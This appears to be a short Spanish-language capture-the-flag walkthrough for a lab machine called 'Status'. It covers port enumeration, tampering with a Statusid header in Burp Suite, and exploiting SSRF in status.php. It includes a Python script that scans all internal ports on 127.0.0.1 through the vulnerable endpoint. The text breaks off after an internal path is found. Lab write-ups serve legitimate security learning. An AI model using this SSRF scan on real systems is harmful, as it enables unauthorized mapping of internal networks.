Status



Enumeración:

Solo tenemos el puerto 80 abierto:

Enumeramos archivos:

  • Tenemos un status.php

Interceptando con el burpsuite la petcición:

  • Tenga en cuenta que hay un 0 en el encabezado de respuesta Statusid, intente cambiarlo a 1

Si el archivo no se puede leer directamente, realice la detección del puerto de intranet

Explotación de SSRF

Durante la evaluación se identificó la página status.php, la cual expone una funcionalidad denominada Check Status. Esta permite enviar una URL arbitraria que el servidor procesa para devolver el estado HTTP de dicha dirección.

Este tipo de funcionalidad es comúnmente susceptible a vulnerabilidades de tipo Server-Side Request Forgery (SSRF), ya que permite que el servidor realice peticiones HTTP a otros recursos, tanto externos como internos.

import requests  
  
target = "http://172.17.0.2/status.php"  
  
for port in range(1, 65536):  
    url_to_check = f"http://127.0.0.1:{port}"  
    payload = {'url': url_to_check}  
    try:  
        response = requests.post(url=target, data=payload, headers={'Statusid': '1'})  
        if 'HTTP Status: 0' not in response.text:  
            print(f"[+] Port open: {port}")  
    except Exception:  
        continue

Accediendo a la página se obtiene una ruta

Last updated